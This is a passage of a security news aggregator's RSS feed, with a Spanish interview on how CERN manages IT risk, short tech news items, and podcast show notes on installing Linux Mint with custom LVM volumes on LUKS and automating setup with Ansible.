<p>Julio Sánchez explicó que Red Hat trabaja en un entorno de ‘confidential computing’, una tecnología que protege los datos en uso mediante el procesamiento en entornos seguros. “Es relevante gobernar los modelos en entornos controlados”, enfatizó. En esta línea, citó un estudio según el cual al menos un tercio de las cargas de IA deberían ser ejecutadas en entornos soberanos para proporcionar valor a la organización.</p>



<p>“En el futuro —concluyó— apostamos por crear modelos verticales <em>customizables </em>y pequeños que ayuden a optimizar las infraestructuras y a reducir costes”. “La IA ha venido para quedarse. Es un reto para todos, pero Red Hat está en el camino correcto para ayudar a usar la IA de forma controlada en riesgos y costes”, añadió Mar Santos.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CERN: cómo gestiona el riesgo una institución de investigación internacional]]></title>
<description><![CDATA[Pocas instituciones de investigación hay en el mundo con las dimensiones y el calado de la Organización Europea p​ara la Investigación Nuclear, el CERN. Fundado en 1954 por doce países europeos, el Laboratorio Europeo de Física de Partículas Elementales se localiza en el municipio suizo de Meyrin...]]></description>
<link>https://tsecurity.de/de/3159702/it-security-nachrichten/cern-cmo-gestiona-el-riesgo-una-institucin-de-investigacin-internacional/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3159702/it-security-nachrichten/cern-cmo-gestiona-el-riesgo-una-institucin-de-investigacin-internacional/</guid>
<pubDate>Mon, 15 Dec 2025 12:51:37 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Pocas instituciones de investigación hay en el mundo con las dimensiones y el calado de la <strong>Organización Europea p​ara la Investigación Nuclear, el CERN</strong>. Fundado en 1954 por doce países europeos, el <a href="https://home.cern/" rel="nofollow">Laboratorio Europeo de Física de Partículas Elementales</a> se localiza en el municipio suizo de Meyrin, en el cantón de Ginebra, aunque sus instalaciones se extienden a lo largo de la frontera franco-suiza. Entre ellas está el Gran Colisionador de Hadrones (LHC), el acelerador de partículas más grande del mundo. La colaboración internacional está en la base de su origen: más de 3.500 personas componen su plantilla fija. Una pequeña villa que se expande a 17.000 habitantes cuando se suma el personal científico de alrededor de 950 instituciones de más de 80 países distintos que colabora en proyectos del centro —o <a href="https://cds.cern.ch/record/2931994/files/2024_AR.pdf" rel="nofollow">que lo hizo en 2024</a>—. En este ecosistema propio, la <strong>gestión del riesgo de TI</strong> supone un reto a la altura de la institución.</p>



<p>“El principal problema es que estamos gestionando una organización enorme”, explica <strong>Stefan Lüders, CISO del CERN</strong>. “Somos uno de los institutos de investigación de física de partículas más importantes del planeta. Hacemos cosas sofisticadas e interesantes, lo que nos convierte en blanco de ataques de diferentes comunidades”, resume. Enumera varias de estas potenciales amenazas: <em>script kiddies</em> o hackers con un conocimiento básico, que suponen así y todo un riesgo potencial de seguridad; <em>ransomware </em>o exfiltración de datos; sabotajes al trabajo del CERN; acciones de espionaje y de grupos criminales que intentan infiltrarse a través de ordenadores o dispositivos.</p>



<p>“Aquí es donde entra la gente. <strong>Porque tenemos una comunidad de investigadores muy amplia, heterogénea y muy fluctuante</strong>. Hay muchos físicos que se unen a la organización cada año. Entran y salen para hacer su doctorado, investigan en el CERN y luego se van”, describe, apuntando al desafío de “cuidar a esta comunidad de usuarios. El otro desafío es el mundo flexible y de rápido desarrollo de las TI”. Añade también la programación —la importación de bibliotecas de código abierto, su seguridad, etc.— y la IA. “Cuanto más sofisticada se vuelve la IA, mayor es la probabilidad de que esas herramientas de seguridad o ataque impulsadas por la IA intenten infiltrarse en la organización”.</p>



<h2 class="wp-block-heading">Asegurando el CERN</h2>



<p>Con esta situación de partida, ¿cómo se asegura una implementación efectiva de las iniciativas en ciberseguridad, que no interrumpan el trabajo científico? “<strong>No puedes</strong>”, afirma Lüders. <strong>“La ciberseguridad es inconveniente. Afrontémoslo”</strong>. Lüders lo equipara a cerrar con llave la puerta de casa o utilizar el PIN para sacar dinero del cajero; pueden ser molesto, pero necesario. “Intentamos explicar a nuestra comunidad por qué se necesitan medidas de seguridad”, señala. “Y si adaptamos nuestras medidas de seguridad a nuestro entorno, la gente las adopta. Sí, hace la investigación algo más complicada, pero solo un poco”.</p>



<p>Lüders insiste en el factor del trabajo en investigación. “No somos un banco. No tenemos billones de dólares. No somos una base militar, lo que significa que no debemos proteger a un país. <strong>Investigamos, lo que implica adaptar el nivel de seguridad y el de libertad académica para que ambos vayan de la mano. Y esa es una conversación constante con nuestra comunidad de usuarios</strong>”. Esta engloba desde el personal científico al de gestión de sistemas de control industrial, el departamento de TI o recursos humanos. “Para afrontar ese reto, es fundamental hablar con la gente. Por eso, insisto, la ciberseguridad es un tema muy sociológico: hablar con la gente, explicarles por qué hacemos esto”. Por ejemplo, no todo el mundo usa de buen grado los sistemas multifactor porque “admitámoslo, son un fastidio. Es mucho más fácil escribir una contraseña e, incluso, ¿quién quiere escribir una contraseña? Solo quieres entrar. Pero para las necesidades de protección, hoy en día tenemos contraseñas y autenticación multifactor. Así que le explicas a la gente qué estás protegiendo. Les decimos por qué es importante proteger su trabajo, al igual que los resultados de la investigación. Y la gran mayoría entiende que se necesita un cierto nivel de seguridad”, asegura. “Pero es un desafío porque aquí conviven muchas culturas diferentes, nacionalidades diferentes, opiniones y pensamientos diferentes, y orígenes diversos. Esto es lo que intentamos adaptar permanentemente”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/Stefan-Luders-CISO-del-CERN-y-Tim-Bell-lider-de-la-seccion-de-gobernanza-riesgo-y-cumplimiento-de-TI-del-CERN.png" alt="Stefan Lüders, CISO del CERN y Tim Bell, líder de la sección de gobernanza, riesgo y cumplimiento de TI del CERN" class="wp-image-4081255" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/10/Stefan-Luders-CISO-del-CERN-y-Tim-Bell-lider-de-la-seccion-de-gobernanza-riesgo-y-cumplimiento-de-TI-del-CERN.png?quality=50&amp;strip=all 554w, https://b2b-contenthub.com/wp-content/uploads/2025/10/Stefan-Luders-CISO-del-CERN-y-Tim-Bell-lider-de-la-seccion-de-gobernanza-riesgo-y-cumplimiento-de-TI-del-CERN.png?resize=300%2C142&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/10/Stefan-Luders-CISO-del-CERN-y-Tim-Bell-lider-de-la-seccion-de-gobernanza-riesgo-y-cumplimiento-de-TI-del-CERN.png?resize=150%2C71&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/10/Stefan-Luders-CISO-del-CERN-y-Tim-Bell-lider-de-la-seccion-de-gobernanza-riesgo-y-cumplimiento-de-TI-del-CERN.png?resize=444%2C211&amp;quality=50&amp;strip=all 444w" width="554" height="263" sizes="auto, (max-width: 554px) 100vw, 554px"><figcaption class="wp-element-caption"><p>Stefan Lüders y Tim Bell, del CERN.</p></figcaption></figure><p class="imageCredit">CERN</p></div>



<p>Se suma a la conversación <strong>Tim Bell, líder de la sección de gobernanza, riesgo y cumplimiento de TI del CERN</strong>, quien se encarga de la continuidad del negocio y la recuperación ante desastres. Bell introduce el problema del empleo de tecnología propia. “Si eres visitante de una universidad, querrás traer tu portátil y usarlo en el CERN. No podemos permitirnos retirar estos dispositivos electrónicos al llegar a las instalaciones. Sería incompatible con la naturaleza de la organización. Esto implica que <strong>debemos ser capaces de implementar medidas de seguridad del tipo BYOD</strong>”.</p>



<p>Porque en el núcleo de todo se mantiene siempre el carácter colaborativo del CERN. “Los trabajos académicos, la ciencia abierta, la libertad de investigación, son parte de nuestro centro<strong>. La ciberseguridad necesita adaptarse a esto</strong>”, constata Lüders. “Tenemos 200.000 dispositivos en nuestra red que son BYOD”. ¿Cómo se aplica entonces la adaptación de la ciberprotección? “Se llama defensa en profundidad”, explica el CISO. “No podemos instalar nada en estos dispositivos finales porque no nos pertenecen, (…) pero tenemos monitorización de red”. De este modo, y aunque no se tenga acceso directo a cada aparato, se advierte cuándo se está realizando algo en contra de las políticas del centro, tanto a nivel de ciberseguridad como de usos no apropiados, como por ejemplo emplear la tecnología que proveen para intereses particulares.</p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“Es fundamental hablar con la gente. La ciberseguridad es un tema muy sociológico”, reflexiona Lüders</em></strong></p></blockquote></figure>



<p>Estas medidas se extienden, además, a sistemas obsoletos, que la organización es capaz de asimilar porque cuentan con una red lo suficientemente resistente como para que, aunque un equipo se vea comprometido, no dañe ningún otro sistema del CERN. El problema de la tecnología heredada se extiende al equipo necesario para los experimentos de física que se realizan en el centro. “Estos están protegidos por redes dedicadas, lo que permite que la protección de la red se active y los proteja contra cualquier tipo de abuso”, explica Lüders. Sobre los dispositivos conectados IoT no diseñados con la ciberseguridad en mente, “un problema para todas las industrias”, Lüders es tajante: “<strong>Nunca se conseguirá seguridad en los dispositivos IoT</strong>”. Su solución pasa por conectarlos a segmentos de red restringidos donde no se les permite comunicarse con nada más, y luego definir destinos a los que sí comunicarse.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?quality=50&amp;strip=all&amp;w=1024" alt="CERN" class="wp-image-4081256" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?quality=50&amp;strip=all 5184w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=2048%2C1365&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=1046%2C697&amp;quality=50&amp;strip=all 1046w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2025/10/1205187_07.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">CERN</p></div>



<h2 class="wp-block-heading">Marco general</h2>



<p>Esto es parte de un reto mayor: alinear la parte de TI y la de OT, de tal forma que se establezca una continuidad en la seguridad en toda la organización. Un reto que pasa por la centralización. “Hoy en día la parte de OT, los sistemas de controles del CERN, están empleando virtualización de TI”, explica Lüders. “La estrategia es reunir a la gente de TI y la de control, de tal modo que la gente de control pueda usar los servicios TI en su beneficio”. Desde el departamento tecnológico se provee con un sistema central con distintas funcionalidades para operaciones, así como por otras áreas de la organización, accesible a través de un único punto de entrada. “<strong>Ese es el poder de la centralización</strong>”. En este sistema entran, además, nuevas herramientas como las de IA en LLM, en el que tienen en funcionamiento un grupo de trabajo para buscar la mejor manera de emplearlas. “Nos enfrentamos a un gran descubrimiento y, más adelante, lo centralizaremos mediante un servicio central de TI. Y así es como lo hacemos con todas las tecnologías”.</p>



<p>Igual que las materias que investigan en el CERN van evolucionando, así lo hace su marco de gobernanza de TI. Este ha ido siguiendo las novedades del sector, explica Bell, de la mano de auditorías que permiten funcionar según las mejores prácticas. “La parte de la gobernanza está volviéndose más formal. En general, todo estaba bien organizado; solo se trataba de estandarizarlo y desarrollar marcos de políticas a su alrededor”. Pese al establecimiento de estos estándares, el resultado es lo contrario de rígido, explica Bell, quien lo ejemplifica con el caso de una auditoría reciente de ciberseguridad en la que el CERN fue evaluado según uno de los estándares internacionales, lo que sirvió para mejorar el nivel de madurez. “<strong>Estamos adoptando una política de gobernanza de TI bastante flexible</strong>, aprendiendo de la experiencia de otros en la adopción de estándares del sector”, concluye.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Software entwickeln mit KI: Einsteiger-Guide]]></title>
<description><![CDATA[Author: The Morpheus Tutorials - Bewertung: 6x - Views:31 Viele haben es sich gewünscht (nicht zuletzt ich :) ) und endlich konnte ich das mal machen.

Links:
https://git-scm.com/install/windows
https://github.com/google-gemini/gemini-cli
https://developers.openai.com/codex/cli/
https://code.clau...]]></description>
<link>https://tsecurity.de/de/3142344/it-security-video/software-entwickeln-mit-ki-einsteiger-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3142344/it-security-video/software-entwickeln-mit-ki-einsteiger-guide/</guid>
<pubDate>Sat, 06 Dec 2025 10:02:14 +0100</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<enclosure url="https://i.ytimg.com/vi/BA8ieZxiocU/maxresdefault.jpg" length="0" type="image/jpeg" />
<content:encoded><![CDATA[<p>Author: The Morpheus Tutorials - Bewertung: 6x - Views:31 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/BA8ieZxiocU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Viele haben es sich gewünscht (nicht zuletzt ich :) ) und endlich konnte ich das mal machen.<br />
<br />
Links:<br />
https://git-scm.com/install/windows<br />
https://github.com/google-gemini/gemini-cli<br />
https://developers.openai.com/codex/cli/<br />
https://code.claude.com/docs/en/overview#npm <br />
https://www.jetbrains.com/de-de/webstorm/<br />
https://nodejs.org/en/download<br />
<br />
Zum MorphReader: <br />
Android: https://play.google.com/store/apps/details?id=de.themorpheus.morph_reader_app<br />
Apple: https://apps.apple.com/de/app/morphreader/id6741467699?platform=iphone<br />
<br />
RSS Feed: https://www.patreon.com/collection/880029?view=expanded<br />
<br />
Instagram: https://www.instagram.com/themorpheustuts/<br />
<br />
Meine anderen Kanäle und Projekte: the-morpheus.de/<br />
<br />
_Selbst *kostenlos Informatik lernen* auf meiner Website:_ https://bootstrap.academy/<br />
<br />
_Discord:_<br />
https://the-morpheus.de/discord.html<br />
<br />
_Unterstützt mich - Danke!:_<br />
https://www.patreon.com/user?u=5322110<br />
https://www.paypal.me/TheMorpheus<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Joyce Kim wird Proofpoint-CMO - CRN DE]]></title>
<description><![CDATA[In dieser Position verantwortet sie die globale Marketing- und Kommunikationsstrategie des Cybersecurity-Anbieters und berichtet direkt an CEO Sumit ...]]></description>
<link>https://tsecurity.de/de/3138888/it-security-nachrichten/joyce-kim-wird-proofpoint-cmo-crn-de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3138888/it-security-nachrichten/joyce-kim-wird-proofpoint-cmo-crn-de/</guid>
<pubDate>Thu, 04 Dec 2025 16:34:58 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In dieser Position verantwortet sie die globale Marketing- und Kommunikationsstrategie des Cybersecurity-Anbieters und berichtet direkt an CEO Sumit ...]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4524: Living the Tux Life Episode 3 - Automating the Install]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






Setting up Linux Mint with Custom LVM and Luks


Linux Mint with Custom LVM on LUKS
Overview
The current Linux Mint installer doesn't support custom partitions when setting up a new machine with LUKS encryption using LVM. I prefer having a se...]]></description>
<link>https://tsecurity.de/de/3137239/podcasts/hpr4524-living-the-tux-life-episode-3-automating-the-install/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3137239/podcasts/hpr4524-living-the-tux-life-episode-3-automating-the-install/</guid>
<pubDate>Thu, 04 Dec 2025 01:02:09 +0100</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
<br>
</p>
<p>
<a href="https://code.christman.uk/Linux/linux%20-mint-with-custom-lvm-on-luks" rel="noopener noreferrer" target="_blank">
Setting up Linux Mint with Custom LVM and Luks</a>
</p>

<h1>Linux Mint with Custom LVM on LUKS</h1>
<h2>Overview</h2>
<p>The current Linux Mint installer doesn't support custom partitions when setting up a new machine with LUKS encryption using LVM. I prefer having a separate partition for my home directory and a backup partition for Timeshift, so that reinstalling or fixing issues won't overwrite my home directory. </p>
<p>I found several approaches to achieve this. One method involves setting up partitions first and then using the installer to select them, but this requires extensive post-installation configuration to get boot working with the encrypted drive. </p>
<p>I discovered this <a href="https://www.dwarmstrong.org/rearrange-lvm-after-mint-install/">blog</a> which explains how to repartition your drive after installation. Combined with my guide on setting up hibernation, I created this documentation to help remember how to install a fresh copy of Linux Mint with LVM and LUKS.</p>
<p><strong>Tested on:</strong> Linux Mint 22 Cinnamon</p>
<h2>Partition Layout</h2>
<p>For this guide, I'm working with a 1TB drive that will be split into the following logical volumes:</p>
<ul>
<li><strong>Root</strong> - 100GB (system files and applications)</li>
<li><strong>Swap</strong> - 32GB (for hibernation support)</li>
<li><strong>Home</strong> - 700GB (user files and documents)</li>
<li><strong>Backup</strong> - 100GB (Timeshift snapshots)</li>
<li><strong>Unallocated</strong> - ~68GB (reserved for future expansion)</li>
</ul>
<p>This setup ensures that system snapshots and user data remain separate, making system recovery much easier.</p>
<h2>Installation Guide</h2>
<h3>Step 1: Initial Linux Mint Installation</h3>
<p>Start the Linux Mint installation process as normal:</p>
<ol>
<li>Boot from your Linux Mint installation media</li>
<li>Follow the installation wizard (language, keyboard layout, etc.)</li>
<li>When you reach the <strong>Installation type</strong> screen:<ul>
<li>Select <strong>"Erase disk and install Linux Mint"</strong></li>
<li>Click <strong>"Advanced features"</strong></li>
<li>Enable both options:<ul>
<li>✓ <strong>Use LVM with the new Linux Mint installation</strong></li>
<li>✓ <strong>Encrypt the new Linux Mint installation for security</strong></li>
</ul>
</li>
<li>Click <strong>Continue</strong></li>
</ul>
</li>
<li>Enter a strong encryption password when prompted</li>
<li>Complete the rest of the installation (timezone, user account, etc.)</li>
<li>When installation finishes, <strong>do NOT click "Restart Now"</strong> - we'll repartition first</li>
</ol>
<p><strong>Important:</strong> Do NOT reboot after installation completes. We need to repartition before the first boot.</p>
<h3>Step 2: Access Root Terminal</h3>
<p>After installation finishes, open a terminal and switch to root:</p>
<pre><code class="lang-bash"><span class="hljs-attribute">sudo -i</span>
</code></pre>
<p>This gives you administrative privileges needed for disk operations.</p>
<h3>Step 3: Check Current Disk Layout</h3>
<p>View your current partition structure:</p>
<pre><code class="lang-bash">lsblk <span class="hljs-_">-f</span>
</code></pre>
<p>This displays your filesystem layout. You should see your encrypted volume group (typically <code>vgmint</code>) with a large root partition consuming most of the space.</p>
<h3>Step 4: Resize Root Partition</h3>
<p>Shrink the root partition from its default size (nearly full disk) to 100GB:</p>
<pre><code class="lang-bash">lvresize -L <span class="hljs-number">100</span>G <span class="hljs-comment">--resizefs vgmint/root</span>
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li><code>-L 100G</code> sets the logical volume size to exactly 100GB</li>
<li><code>--resizefs</code> automatically resizes the filesystem to match</li>
<li>This frees up ~900GB for our other partitions</li>
</ul>
<h3>Step 5: Resize Swap Partition</h3>
<p>The default swap is usually small (a few GB). We need to increase it to 32GB for hibernation:</p>
<pre><code class="lang-bash">lvresize <span class="hljs-comment">--verbose -L +32G /dev/mapper/vgmint-swap_1</span>
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li><code>-L +32G</code> adds 32GB to the current swap size</li>
<li><code>--verbose</code> shows detailed progress information</li>
<li>This ensures enough swap space for RAM contents during hibernation</li>
</ul>
<p><strong>Note:</strong> For hibernation to work, swap should be at least equal to your RAM size. Adjust accordingly.</p>
<h3>Step 6: Create Home Partition</h3>
<p>Create a new logical volume for your home directory:</p>
<pre><code class="lang-bash">lvcreate -L <span class="hljs-number">700</span>G vgmint -n <span class="hljs-built_in">home</span>
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li><code>-L 700G</code> creates a 700GB logical volume</li>
<li><code>vgmint</code> is the volume group name</li>
<li><code>-n home</code> names the new volume "home"</li>
</ul>
<h3>Step 7: Create Backup Partition</h3>
<p>Create a logical volume for Timeshift backups:</p>
<pre><code class="lang-bash">lvcreate -L <span class="hljs-number">100</span>G vgmint -<span class="hljs-built_in">n</span> backup
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Creates a dedicated 100GB space for system snapshots</li>
<li>Keeps backups separate from user data</li>
<li>Prevents backups from filling up your home partition</li>
</ul>
<h3>Step 8: Format New Partitions</h3>
<p>Format both new partitions with the ext4 filesystem:</p>
<pre><code class="lang-bash">mkfs<span class="hljs-selector-class">.ext4</span> /dev/vgmint/backup
mkfs<span class="hljs-selector-class">.ext4</span> /dev/vgmint/home
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Creates ext4 filesystems on both logical volumes</li>
<li>ext4 is the standard Linux filesystem with good performance and reliability</li>
</ul>
<h3>Step 9: Mount Partitions</h3>
<p>Create mount points and mount your partitions:</p>
<pre><code class="lang-bash">mkdir <span class="hljs-regexp">/mnt/</span>{root,home}
mount <span class="hljs-regexp">/dev/</span>vgmint<span class="hljs-regexp">/root /m</span>nt<span class="hljs-regexp">/root/</span>
mount <span class="hljs-regexp">/dev/</span>vgmint<span class="hljs-regexp">/home /m</span>nt<span class="hljs-regexp">/home/</span>
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Creates temporary directories to access the filesystems</li>
<li>Mounts root and home so we can configure them</li>
</ul>
<h3>Step 10: Move Home Directory Contents</h3>
<p>Move the existing home directory contents from the root partition to the new home partition:</p>
<pre><code class="lang-bash">mv <span class="hljs-regexp">/mnt/</span>root<span class="hljs-regexp">/home/</span>* <span class="hljs-regexp">/mnt/</span>home<span class="hljs-regexp">/</span>
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Transfers all user files and directories from the old location to the new home partition</li>
<li>Preserves your user account settings and any files created during installation</li>
<li>Without this step, your home directory would be empty on first boot</li>
</ul>
<h3>Step 11: Update fstab</h3>
<p>Add the home partition to the system's fstab file so it mounts automatically at boot:</p>
<pre><code class="lang-bash">echo <span class="hljs-string">"/dev/mapper/vgmint-home /home           ext4    defaults        0 2"</span> &gt;&gt; <span class="hljs-regexp">/mnt/</span>root<span class="hljs-regexp">/etc/</span>fstab
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Appends a mount entry to <code>/etc/fstab</code></li>
<li>Ensures <code>/home</code> partition mounts automatically at startup</li>
<li>The <code>0 2</code> values enable filesystem checks during boot</li>
</ul>
<h3>Step 12: Clean Up and Prepare for Reboot</h3>
<p>Unmount the partitions and deactivate the volume group:</p>
<pre><code class="lang-bash">umount <span class="hljs-regexp">/mnt/</span>root
umount <span class="hljs-regexp">/mnt/</span>home
swapoff -a
lvchange -an vgmint
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Safely unmounts all mounted filesystems</li>
<li>Turns off swap</li>
<li>Deactivates the volume group to prevent conflicts</li>
<li>Ensures everything is properly closed before reboot</li>
</ul>
<h3>Step 13: Reboot</h3>
<p>Now you can safely reboot into your new system:</p>
<pre><code class="lang-bash"><span class="hljs-attribute">reboot</span>
</code></pre>
<p>Enter your LUKS encryption password at boot, then log in normally.</p>
<h2>Verification</h2>
<p>After rebooting, verify your partition setup:</p>
<pre><code class="lang-bash">lsblk -<span class="hljs-built_in">f</span>
df -<span class="hljs-built_in">h</span>
</code></pre>
<p>You should see:</p>
<ul>
<li>Root (<code>/</code>) mounted with ~100GB</li>
<li>Home (<code>/home</code>) mounted with ~700GB</li>
<li>Swap available with 32GB</li>
<li>Backup partition ready for Timeshift configuration</li>
</ul>
<h2>Setting Up Timeshift</h2>
<p>To complete your backup solution:</p>
<ol>
<li>Install Timeshift (if not already installed): <code>sudo apt install timeshift</code></li>
<li>Launch Timeshift and select RSYNC mode</li>
<li>Choose the backup partition as your snapshot location</li>
<li>Configure your backup schedule (daily, weekly, monthly)</li>
<li>Create your first snapshot</li>
</ol>
<h2>Additional Resources</h2>
<ul>
<li><a href="https://www.dwarmstrong.org/rearrange-lvm-after-mint-install/">Original blog post on LVM rearrangement</a></li>
<li><a href="https://hackerpublicradio.org/eps/hpr4524/setting-up-hibernation-linux-mint.md">Setting up hibernation on Linux Mint</a></li>
</ul>
<h2>Conclusion</h2>
<p>This setup gives you the best of both worlds: the security of full-disk encryption with LUKS, and the flexibility of custom LVM partitions. Your home directory and system backups are now isolated, making system recovery and upgrades much safer and more manageable.</p>

<hr>


<p>
<br>
</p>
<p>
<a href="https://code.christman.uk/Linux/auto-setup-linuxmint-after-fresh-install" rel="noopener noreferrer" target="_blank">
Automating Your Linux Mint Setup After a Fresh Install</a>
</p>

<h1>Automating Your Linux Mint Setup After a Fresh Install</h1>
<p>Setting up a fresh Linux Mint installation can be time-consuming, especially when you want to replicate your perfect development environment. This guide will show you how to automate the entire process using Ansible and configuration backups, so you can go from a fresh install to a fully configured system in minutes.</p>
<h2>Why Automate Your Setup?</h2>
<p>Whether you're setting up a new machine, recovering from a system failure, or just want to maintain consistency across multiple computers, automation offers several key benefits:</p>
<ul>
<li><strong>Time Savings:</strong> What normally takes hours can be done in minutes</li>
<li><strong>Consistency:</strong> Identical setup across all your machines</li>
<li><strong>Documentation:</strong> Your setup becomes self-documenting</li>
<li><strong>Recovery:</strong> Quick recovery from system failures</li>
<li><strong>Reproducibility:</strong> Never forget to install that one crucial tool again</li>
</ul>
<h2>Discovering Your Installed Applications</h2>
<p>Before creating your automation setup, you need to identify which applications you've manually installed since the initial OS installation. This helps you build a complete picture of your custom environment.</p>
<h3>Finding APT and .deb Packages</h3>
<p>To see all manually installed packages (excluding those that came with the OS):</p>
<pre><code class="lang-bash">comm -<span class="hljs-number">23</span> &lt;(apt-mark showmanual | <span class="hljs-keyword">sort</span> -u) &lt;(gzip -dc <span class="hljs-regexp">/var/</span>log<span class="hljs-regexp">/installer/i</span>nitial-status.gz | sed -n <span class="hljs-string">'s/^Package: //p'</span> | <span class="hljs-keyword">sort</span> -u)
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li><code>apt-mark showmanual</code> lists all manually installed packages</li>
<li><code>/var/log/installer/initial-status.gz</code> contains packages from the initial installation</li>
<li><code>comm -23</code> compares the two lists and shows only packages you installed after setup</li>
<li>This helps you identify exactly what to include in your Ansible playbook</li>
</ul>
<p><strong>Tip:</strong> Save this output to a file for reference:</p>
<pre><code class="lang-bash">comm -<span class="hljs-number">23</span> &lt;(apt-mark showmanual | <span class="hljs-keyword">sort</span> -u) &lt;(gzip -dc <span class="hljs-regexp">/var/</span>log<span class="hljs-regexp">/installer/i</span>nitial-status.gz | sed -n <span class="hljs-string">'s/^Package: //p'</span> | <span class="hljs-keyword">sort</span> -u) &gt; manually-installed-packages.txt
</code></pre>
<h3>Finding Flatpak Applications</h3>
<p>To list all installed Flatpak applications:</p>
<pre><code class="lang-bash">flatpak <span class="hljs-built_in">list</span> <span class="hljs-comment">--app</span>
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Lists all Flatpak applications installed on your system</li>
<li>The <code>--app</code> flag filters out runtimes and shows only applications</li>
<li>Use this list to populate the Flatpak section of your Ansible playbook</li>
</ul>
<p><strong>Getting more details:</strong></p>
<pre><code class="lang-bash"><span class="hljs-comment"># Show application IDs (needed for Ansible)</span>
flatpak <span class="hljs-built_in">list</span> <span class="hljs-comment">--app --columns=application</span>

<span class="hljs-comment"># Show with origin (where it was installed from)</span>
flatpak <span class="hljs-built_in">list</span> <span class="hljs-comment">--app --columns=application,origin</span>
</code></pre>
<h3>Creating Your Package Inventory</h3>
<p>Use these commands to build a comprehensive inventory:</p>
<pre><code class="lang-bash"># Create a directory <span class="hljs-keyword">for</span> your automation files
<span class="hljs-keyword">mkdir</span> -p ~/linux-mint-automation

# <span class="hljs-keyword">Save</span> APT packages
comm -23 &lt;(apt-<span class="hljs-keyword">mark</span> showmanual | <span class="hljs-keyword">sort</span> -<span class="hljs-keyword">u</span>) &lt;(gzip -dc /<span class="hljs-keyword">var</span>/<span class="hljs-keyword">log</span>/installer/initial-status.gz | sed -<span class="hljs-keyword">n</span> 's/^Package: <span class="hljs-comment">//p' | sort -u) &gt; ~/linux-mint-automation/apt-packages.txt</span>

# <span class="hljs-keyword">Save</span> Flatpak apps
flatpak <span class="hljs-keyword">list</span> --<span class="hljs-keyword">app</span> --columns=application &gt; ~/linux-mint-automation/flatpak-apps.txt
</code></pre>
<p>Now you have a clear reference of what needs to be included in your automation setup!</p>
<h2>Overview of the Automation Strategy</h2>
<p>This guide uses a three-part approach:</p>
<ol>
